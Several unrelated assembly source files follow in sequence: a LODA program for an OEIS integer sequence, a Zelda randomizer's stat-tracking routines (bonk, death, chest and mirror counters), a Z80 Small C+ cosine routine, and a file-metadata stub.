; A214699: a(n) = 3*a(n-2) - a(n-3) with a(0)=0, a(1)=3, a(2)=0. ; Submitted by Jamie Morken(s3.) ; 0,3,0,9,-3,27,-18,84,-81,270,-327,891,-1251,3000,-4644,10251,-16932,35397,-61047,123123,-218538,430416,-778737,1509786,-2766627,5308095,-9809667,18690912,-34737096,65882403,-122902200,232384305,-434589003,820055115,-1536151314 mov $1,1 lpb $0 sub $0,1 mov $2,$3 add $4,$1 add $1,$3 sub $4,$3 mov $3,$4 mov $4,$2 lpe mov $0,$3 mul $0,3
;================================================================================ ; Stat Tracking ;================================================================================ ; $7EF420 - $7EF468 - Stat Tracking ;-------------------------------------------------------------------------------- ; $7EF420 - bonk counter ;-------------------------------------------------------------------------------- ; $7EF421 yyyyyaaa ; y - y item counter ; a - a item counter ;-------------------------------------------------------------------------------- ; $7EF422 ssshhccc ; s - sword counter ; h - shield counter ; c - crystal counter ;-------------------------------------------------------------------------------- ; $7EF423 - item counter ;-------------------------------------------------------------------------------- ; $7EF424 mmkkkkkk ; m - mail counter ; k - small keys ;-------------------------------------------------------------------------------- ; $7EF425w[2] 1111 2222 3333 4444 ; 1 - lvl 1 sword bosses ; 2 - lvl 2 sword bosses ; 3 - lvl 3 sword bosses ; 4 - lvl 4 sword bosses ;-------------------------------------------------------------------------------- ; $7EF427 kkkkcccc ; k - big keys ; c - big chests ;-------------------------------------------------------------------------------- ; $7EF428 mmmmcccc ; k - maps ; c - compases ;-------------------------------------------------------------------------------- ; $7EF429 bbbb--pp ; b - heart containers ; p - pendant upgrades ;-------------------------------------------------------------------------------- ; $7EF42A b-sccccc ; b - bomb acquired ; s - silver arrow bow acquired ; c - chests before gtower big key ;-------------------------------------------------------------------------------- ; $7EF42Bw[2] - rupees spent ;-------------------------------------------------------------------------------- ; $7EF42D - s&q counter ;-------------------------------------------------------------------------------- ; $7EF42Ew[2] - loop frame counter (low) ;-------------------------------------------------------------------------------- ; $7EF430w[2] - loop frame counter (high) ;-------------------------------------------------------------------------------- ; $7EF432 - locations before boots ;-------------------------------------------------------------------------------- ; $7EF433 - locations before mirror ;-------------------------------------------------------------------------------- ; $7EF434 - hhhhdddd - item locations checked ; h - hyrule castle ; d - palace of darkness ;-------------------------------------------------------------------------------- ; $7EF435 - dddhhhaa - item locations checked ; d - desert palace ; h - tower of hera ; a - agahnim's tower ;-------------------------------------------------------------------------------- ; $7EF436 - gggggeee - item locations checked ; g - ganon's tower ; e - eastern palace ;-------------------------------------------------------------------------------- ; $7EF437 - sssstttt - item locations checked ; s - skull woods ; t - thieves town ;-------------------------------------------------------------------------------- ; $7EF438 - iiiimmmm - item locations checked ; i - ice palace ; m - misery mire ;-------------------------------------------------------------------------------- ; $7EF439 - ttttssss - item locations checked ; t - turtle rock ; s - swamp palace ;-------------------------------------------------------------------------------- ; $7EF43A - times mirrored outdoors ;-------------------------------------------------------------------------------- ; $7EF43B - times mirrored in dungeons ;-------------------------------------------------------------------------------- ; $7EF43Cw[2] - screen transition counter ;-------------------------------------------------------------------------------- ; $7EF43Ew[2] - nmi frame counter (low) ;-------------------------------------------------------------------------------- ; $7EF440w[2] - nmi frame counter (high) ;-------------------------------------------------------------------------------- ; $7EF442 - chest counter ;-------------------------------------------------------------------------------- ; $7EF443 - lock stats ;-------------------------------------------------------------------------------- ; $7EF444w[2] - item menu frame counter (low) ;-------------------------------------------------------------------------------- ; $7EF446w[2] - item menu frame counter (high) ;-------------------------------------------------------------------------------- ; $7EF448 - ---hhhhh ; h - heart pieces ;-------------------------------------------------------------------------------- ; $7EF449 - death counter ;-------------------------------------------------------------------------------- ; $7EF44A - reserved ;-------------------------------------------------------------------------------- ; $7EF44B - flute counter ;-------------------------------------------------------------------------------- ; $7EF44Cl[3] - RTA-Timestamp (Start) ;-------------------------------------------------------------------------------- ; $7EF44Fl[3] - RTA-Timestamp (End) ;-------------------------------------------------------------------------------- ; $7EF452 - sssscccc ; s - swordless bosses ; c - capacity upgrades ;-------------------------------------------------------------------------------- ; $7EF453 - fairy revival counter ;-------------------------------------------------------------------------------- ; $7EF454w[2] - challenge timer (low) ;-------------------------------------------------------------------------------- ; $7EF456w[2] - challenge timer (high) ;-------------------------------------------------------------------------------- ; $7EF458w[2] - sword timestamp (low) ;-------------------------------------------------------------------------------- ; $7EF45Aw[2] - sword timestamp (high) ;-------------------------------------------------------------------------------- ; $7EF45Cw[2] - boots timestamp (low) ;-------------------------------------------------------------------------------- ; $7EF45Ew[2] - boots timestamp (high) ;-------------------------------------------------------------------------------- ; $7EF460w[2] - flute timestamp (low) ;-------------------------------------------------------------------------------- ; $7EF462w[2] - flute timestamp (high) ;-------------------------------------------------------------------------------- ; $7EF464w[2] - mirror timestamp (low) ;-------------------------------------------------------------------------------- ; $7EF466w[2] - mirror timestamp (high) ;-------------------------------------------------------------------------------- ; $7EF468 - chest turn counter ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- !LOCK_STATS = "$7EF443" ;-------------------------------------------------------------------------------- !BONK_COUNTER = "$7EF420" IncrementBonkCounter: LDA !LOCK_STATS : BNE + LDA !BONK_COUNTER : INC CMP.b #100 : BEQ + ; decimal 100 STA !BONK_COUNTER + RTL ;-------------------------------------------------------------------------------- !SAVE_COUNTER = "$7EF42D" StatSaveCounter: PHA LDA !LOCK_STATS : BNE + LDA $10 : CMP.b #$17 : BNE + ; not a proper s&q, link probably died LDA !SAVE_COUNTER : INC CMP.b #100 : BEQ + ; decimal 100 STA !SAVE_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !SAVE_COUNTER = "$7EF42D" DecrementSaveCounter: PHA LDA !LOCK_STATS : BNE + LDA !SAVE_COUNTER : DEC : STA !SAVE_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !TRANSITION_COUNTER = "$7EF43C" DungeonHoleWarpTransition: LDA $01C31F, X BRA StatTransitionCounter DungeonHoleEntranceTransition: JSL EnableForceBlank LDA.l SilverArrowsAutoEquip : AND.b #$02 : BEQ + LDA $010E : CMP.b #$7B : BNE + ; skip unless falling to ganon's room LDA !INVENTORY_SWAP_2 : AND.b #$40 : BEQ + ; skip if we don't have silvers LDA $7EF340 : BEQ + ; skip if we have no bow CMP.b #$03 : !BGE + ; skip if the bow is already silver !ADD #$02 : STA $7EF340 ; increase bow to silver + BRA StatTransitionCounter DungeonStairsTransition: JSL Dungeon_SaveRoomQuadrantData BRA StatTransitionCounter DungeonExitTransition: LDA $7F50C7 : BEQ + ; ice physics JSL Player_HaltDashAttackLong LDA.b #$00 : STA $0301 ; stop item dashing + LDA.b #$0F : STA $10 ; stop running through the transition StatTransitionCounter: PHA : PHP LDA !LOCK_STATS : BNE + REP #$20 ; set 16-bit accumulator LDA !TRANSITION_COUNTER : INC CMP.w #999 : BEQ + ; decimal 999 STA !TRANSITION_COUNTER + PLP : PLA RTL ;-------------------------------------------------------------------------------- !FLUTE_COUNTER = "$7EF44B" IncrementFlute: LDA !LOCK_STATS : BNE + LDA !FLUTE_COUNTER : INC : STA !FLUTE_COUNTER + JSL.l StatTransitionCounter ; also increment transition counter RTL ;-------------------------------------------------------------------------------- IncrementSmallKeys: STA $7EF36F ; thing we wrote over, write small key count PHX LDA !LOCK_STATS : BNE + JSL AddInventory_incrementKeyLong + JSL.l UpdateKeys PHY : LDY.b #24 : JSL.l FullInventoryExternal : PLY JSL.l HUD_RebuildLong PLX RTL ;-------------------------------------------------------------------------------- IncrementSmallKeysNoPrimary: STA $7EF36F ; thing we wrote over, write small key count PHX LDA !LOCK_STATS : BNE + JSL AddInventory_incrementKeyLong + JSL.l UpdateKeys LDA $1B : BEQ + ; skip room check if outdoors PHP : REP #$20 ; set 16-bit accumulator LDA $048E : CMP.w #$0087 : BNE ++ ; hera basement PLP : PHY : LDY.b #$24 : JSL.l FullInventoryExternal JSR CountChestKey : PLY : BRA + ++ PLP + JSL.l HUD_RebuildLong PLX RTL ;-------------------------------------------------------------------------------- DecrementSmallKeys: STA $7EF36F ; thing we wrote over, write small key count JSL.l UpdateKeys RTL ;-------------------------------------------------------------------------------- CountChestKeyLong: ; called from ItemDowngradeFix in itemdowngrade.asm JSR CountChestKey RTL ;-------------------------------------------------------------------------------- CountChestKey: ; called by neighbor functions PHA : PHX CPY #$24 : BEQ + ; small key for this dungeon - use $040C CPY #$A0 : !BLT .end ; Ignore most items CPY #$AE : !BGE .end ; Ignore reserved key and generic key TYA : AND.B #$0F : BNE ++ ; If this is an HC key, instead count it as a sewers key INC ++ TAX : BRA .count ; use Key id instead of $040C (Keysanity) + LDA $040C : LSR BNE + INC ; combines HC and Sewer counts + TAX .count LDA $7EF4E0, X : INC : STA $7EF4E0, X .end PLX : PLA RTS ;-------------------------------------------------------------------------------- CountBonkItem: ; called from GetBonkItem in bookofmudora.asm LDA $A0 ; check room ID - only bonk keys in 2 rooms so we're just checking the lower byte CMP #115 : BNE + ; Desert Bonk Key LDA.L BonkKey_Desert : BRA ++ + : CMP #140 : BNE + ; GTower Bonk Key LDA.L BonkKey_GTower : BRA ++ + LDA.B #$24 ; default to small key ++ CMP #$24 : BNE + PHY TAY : JSR CountChestKey PLY + RTL ;-------------------------------------------------------------------------------- IncrementAgahnim2Sword: PHA LDA !LOCK_STATS : BNE + JSL AddInventory_incrementBossSwordLong + PLA RTL ;-------------------------------------------------------------------------------- !DEATH_COUNTER = "$7EF449" IncrementDeathCounter: PHA LDA !LOCK_STATS : BNE + LDA $7EF36D : BNE + ; link is still alive, skip LDA !DEATH_COUNTER : INC : STA !DEATH_COUNTER ;JSL.l DecrementSaveCounter + PLA RTL ;-------------------------------------------------------------------------------- !FAIRY_COUNTER = "$7EF453" IncrementFairyRevivalCounter: STA $7EF35C, X ; thing we wrote over PHA LDA !LOCK_STATS : BNE + LDA !FAIRY_COUNTER : INC : STA !FAIRY_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !CHESTTURN_COUNTER = "$7EF468" IncrementChestTurnCounter: PHA LDA !LOCK_STATS : BNE + LDA !CHESTTURN_COUNTER : INC : STA !CHESTTURN_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !CHEST_COUNTER = "$7EF442" IncrementChestCounter: LDA.b #$01 : STA $02E9 ; thing we wrote over PHA LDA !LOCK_STATS : BNE + LDA !CHEST_COUNTER : INC : STA !CHEST_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !CHEST_COUNTER = "$7EF442" DecrementChestCounter: PHA LDA !LOCK_STATS : BNE + LDA !CHEST_COUNTER : DEC : STA !CHEST_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !ITEM_TOTAL = "$7EF423" DecrementItemCounter: PHA LDA !LOCK_STATS : BNE + LDA !ITEM_TOTAL : DEC : STA !ITEM_TOTAL + PLA RTL ;-------------------------------------------------------------------------------- IncrementBigChestCounter: JSL.l Dungeon_SaveRoomQuadrantData ; thing we wrote over PHA LDA !LOCK_STATS : BNE + %BottomHalf($7EF427) + PLA RTL ;-------------------------------------------------------------------------------- !DAMAGE_COUNTER = $7EF46A !MAGIC_COUNTER = $7EF46C IncrementDamageTakenCounter_Eight: STA.l $7EF36D PHA : PHP LDA !LOCK_STATS : BNE + REP #$21 LDA.l !DAMAGE_COUNTER ADC.w #$0008 BCC ++ LDA.w #$FFFF ++ STA.l !DAMAGE_COUNTER + PLP PLA RTL IncrementDamageTakenCounter_Arb: PHP LDA !LOCK_STATS : BNE + REP #$21 LDA.b $00 AND.w #$00FF ADC.l !DAMAGE_COUNTER BCC ++ LDA.w #$FFFF ++ STA.l !DAMAGE_COUNTER + PLP LDA.l $7EF36D RTL IncrementMagicUseCounter: STA.l $7EF36E IncrementMagicUseCounterByrna: PHA : PHP LDA !LOCK_STATS : BNE + REP #$21 LDA.b $00 AND.w #$00FF ADC.l !MAGIC_COUNTER BCC ++ LDA.w #$FFFF ++ STA.l !MAGIC_COUNTER + PLP : PLA RTL IncrementMagicUseCounterOne: LDA !LOCK_STATS : BNE + REP #$20 LDA.l !MAGIC_COUNTER INC BEQ ++ STA.l !MAGIC_COUNTER ++ SEP #$20 + LDA.l $7EF36E RTL ;-------------------------------------------------------------------------------- !OW_MIRROR_COUNTER = "$7EF43A" IncrementOWMirror: PHA LDA !LOCK_STATS : BNE + LDA $7EF3CA : BEQ + ; only do this for DW->LW LDA !OW_MIRROR_COUNTER : INC : STA !OW_MIRROR_COUNTER + PLA JMP StatTransitionCounter ;-------------------------------------------------------------------------------- !UW_MIRROR_COUNTER = "$7EF43B" IncrementUWMirror: PHA LDA !LOCK_STATS : BNE + LDA $040C : CMP #$FF : BEQ + ; skip if we're in a cave or house LDA !UW_MIRROR_COUNTER : INC : STA !UW_MIRROR_COUNTER JSL.l StatTransitionCounter + PLA JSL.l Dungeon_SaveRoomData ; thing we wrote over RTL ;-------------------------------------------------------------------------------- !SPENT_RUPEES = "$7EF42B" IncrementSpentRupees: DEC A : BPL .subtractRupees LDA.w #$0000 : STA $7EF360 RTL .subtractRupees PHA : PHP LDA !LOCK_STATS : AND.w #$00FF : BNE + LDA !SPENT_RUPEES : INC CMP.w #9999 : BEQ + ; decimal 9999 STA !SPENT_RUPEES + PLP : PLA RTL ;-------------------------------------------------------------------------------- IndoorTileTransitionCounter: JMP StatTransitionCounter ;-------------------------------------------------------------------------------- !REDRAW = "$7F5000" IndoorSubtileTransitionCounter: LDA.b #$01 : STA !REDRAW ; set redraw flag for items STZ $0646 ; stuff we wrote over STZ $0642 JMP StatTransitionCounter ;-------------------------------------------------------------------------------- !CHEST_COUNTER = "$7EF442" !MAIL_COUNTER = "$7EF424" ; mmkkkkkk !BOSS_KILLS = "$7F5037" !SWORD_KILLS_1 = "$7EF425" !SWORD_KILLS_2 = "$7EF426" !GTOWER_PRE_BIG_KEY = "$7EF42A" ; ---ccccc !NONCHEST_COUNTER = "$7F503E" !SAVE_COUNTER = "$7EF42D" !TRANSITION_COUNTER = "$7EF43C" !NMI_COUNTER = "$7EF43E" !LOOP_COUNTER = "$7EF42E" !LAG_TIME = "$7F5038" !RUPEES_COLLECTED = "$7F503C" !ITEM_TOTAL = "$7EF423" !RTA_END = "$7EF44F" StatsFinalPrep: PHA : PHX : PHP SEP #$30 ; set 8-bit accumulator and index registers LDA !LOCK_STATS : BNE .ramPostOnly INC : STA !LOCK_STATS JSL.l AddInventory_incrementBossSwordLong LDA !MAIL_COUNTER : !ADD #$40 : STA !MAIL_COUNTER ; add green mail to mail count ;LDA !GTOWER_PRE_BIG_KEY : DEC : AND #$1F : TAX ;LDA !GTOWER_PRE_BIG_KEY : AND #$E0 : STA !GTOWER_PRE_BIG_KEY ;TXA : ORA !GTOWER_PRE_BIG_KEY : STA !GTOWER_PRE_BIG_KEY LDA !TRANSITION_COUNTER : DEC : STA !TRANSITION_COUNTER ; remove extra transition from exiting gtower via duck .ramPostOnly LDA !SWORD_KILLS_1 : LSR #4 : !ADD !SWORD_KILLS_1 : STA !BOSS_KILLS LDA !SWORD_KILLS_2 : LSR #4 : !ADD !SWORD_KILLS_2 : !ADD !BOSS_KILLS : AND #$0F : STA !BOSS_KILLS LDA !NMI_COUNTER : !SUB !LOOP_COUNTER : STA !LAG_TIME LDA !NMI_COUNTER+1 : SBC !LOOP_COUNTER+1 : STA !LAG_TIME+1 LDA !NMI_COUNTER+2 : SBC !LOOP_COUNTER+2 : STA !LAG_TIME+2 LDA !NMI_COUNTER+3 : SBC !LOOP_COUNTER+3 : STA !LAG_TIME+3 LDA !SPENT_RUPEES : !ADD $7EF362 : STA !RUPEES_COLLECTED LDA !SPENT_RUPEES+1 : ADC $7EF363 : STA !RUPEES_COLLECTED+1 LDA !ITEM_TOTAL : !SUB !CHEST_COUNTER : STA !NONCHEST_COUNTER ;LDA $FFFFFF ;JSL.l Clock_IsSupported ;BRA + ; REP #$20 ; set 16-bit accumulator ; ; LDA $00 : PHA ; LDA $02 : PHA ; ; JSL.l Clock_QuickStamp ; LDA $00 : STA !RTA_END ; LDA $02 : STA !RTA_END+2 ; ; PLA : STA $02 ; PLA : STA $00 ;+ .done PLP : PLX : PLA LDA.b #$19 : STA $10 ; thing we wrote over, load triforce room STZ $11 STZ $B0 RTL ;-------------------------------------------------------------------------------- ; Notes: ; s&q counter ;================================================================================
; Small C+ Maths Routines ; ; transcendental floating point routines ; SECTION code_fp PUBLIC cos EXTERN sin EXTERN hladd EXTERN __halfpi ;double cos(double val) ;Looks odd, but don't worry..value is already in FA - no need for stack ; ; transcendental functions: sin, cos, tan ; .cos LD HL,halfpi ;local copy.. CALL hladd jp sin .halfpi DEFB $22,$A2,$DA,$0F,$49,$81 ; pi/2
Name: title-e.asm Type: file Size: 55852 Last-Modified: '1992-11-18T01:42:34Z' SHA-1: CF73447129375A05C01593CBD6F9B9575FA17E7B Description: null